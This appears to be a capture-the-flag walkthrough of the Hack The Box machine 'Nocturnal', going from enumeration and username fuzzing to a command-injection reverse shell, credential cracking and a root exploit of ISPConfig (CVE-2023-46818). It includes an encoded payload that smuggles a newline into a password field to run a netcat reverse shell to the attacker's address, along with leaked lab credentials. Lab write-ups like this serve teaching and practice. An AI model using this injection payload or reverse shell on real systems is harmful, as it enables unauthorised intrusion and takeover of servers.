Enumeration

Nmap Scan

The initial step involved performing a comprehensive Nmap scan to identify open ports and running services:

nmap -v -A -oN nmap.txt 10.10.11.64

Nmap Results:

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 RSA    202688700851eede3aa6204187962517
|   256 ECDSA  4f800533a6d42264e9ed14e312bc96f1
|   256 ED25519 d9881f68438ed42a52fcf066d4b9ee6b
80/tcp open  http    nginx 1.18.0 (Ubuntu)
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://nocturnal.htb/

Port	Service	Version
22	SSH	OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
80	HTTP	nginx 1.18.0 (Ubuntu)

The scan revealed two open services: SSH on port 22 and an HTTP server on port 80.

Web Enumeration

Hostname Resolution

The web server on port 80 redirected to http://nocturnal.htb/. To resolve this hostname locally, the following entry was added to /etc/hosts:

echo "10.10.11.64 nocturnal.htb" | sudo tee -a /etc/hosts

Web Interface Analysis

Navigating to http://nocturnal.htb displays a login and registration interface:

• Home Page

• Register Form

• Login Form

After registering and logging in, a user dashboard becomes accessible:

The application supports uploading the following file types: pdf, doc, docx, xls, xlsx, odt. These files can later be downloaded using a URL of the form:

http://nocturnal.htb/view.php?username=<user>&file=<filename>

This hints at possible user enumeration via the username parameter.

User Enumeration with FFUF

Using ffuf, we attempt to enumerate valid usernames based on the server’s responses:

ffuf -w /usr/share/wordlists/seclists/Usernames/Names/names.txt \
     -u "http://nocturnal.htb/view.php?username=FUZZ&file=file.pdf" \
     -H "Cookie: PHPSESSID=mspl3bsbgaamrho4b5sauk7u5k" \
     -fr "User not found."

Command Breakdown:

• -w: Wordlist for usernames
• -u: Target URL with FUZZ keyword for injection
• -H: Authenticated session cookie
• -fr: Response filter string to identify successful hits

The scan revealed a valid user: amanda.

Upon accessing Amanda's file list, we found a document named privacy.odt:

Contents of privacy.odt:

Nocturnal has set the following temporary password for you: arHkG7HAI68X8s1J

Using it with the amanda account allows us to log in and access the Admin Dashboard:

Command Injection in Backup Feature

The dashboard lets you back up files using a zip command that looks like this:

zip -x './backups/*' -r -P " . $password . " " . $backupFile . " .  > " . $logFile . " 2>&1 &";

Using this payload we get a shell as the www-data user.

mypassword%0Abusybox%09nc%0910.10.14.10%094444%09-e%09/bin/sh

Lateral Movement

We found a user named tobias in /etc/passwd.

The login.php file pointed to the SQLite DB:

../nocturnal_database/nocturnal_database.db

Grabbed it with a simple HTTP server:

python3 -m http.server 1337

The users table had a hashed password for tobias. Cracked it using CrackStation:

tobias:slowmotionapocalypse

Logged in via SSH as tobias.

Privilege Escalation

Local Port Discovery

A port scan on the local machine revealed that port 8080 was listening locally:

(netstat -punta || ss --ntpu)

tcp   0   0 127.0.0.1:8080   0.0.0.0:*   LISTEN   -

Port Forwarding via SSH

To access the internal service, SSH port forwarding was established:

ssh tobias@10.10.11.64 -L 8081:127.0.0.1:8080

Navigating to http://localhost:8081 reveals an ISPConfig login page:

Using credentials admin:slowmotionapocalypse, we logged in:

Exploiting ISPConfig

The "Help" section shows the software version: 3.2.10p1. A known remote code execution vulnerability exists for this version: CVE-2023-46818.

Exploit Execution:

python exploit.py http://127.0.0.1:8081/ admin slowmotionapocalypse

The exploit successfully yields a shell as the root user. The root flag was retrieved from /root/root.txt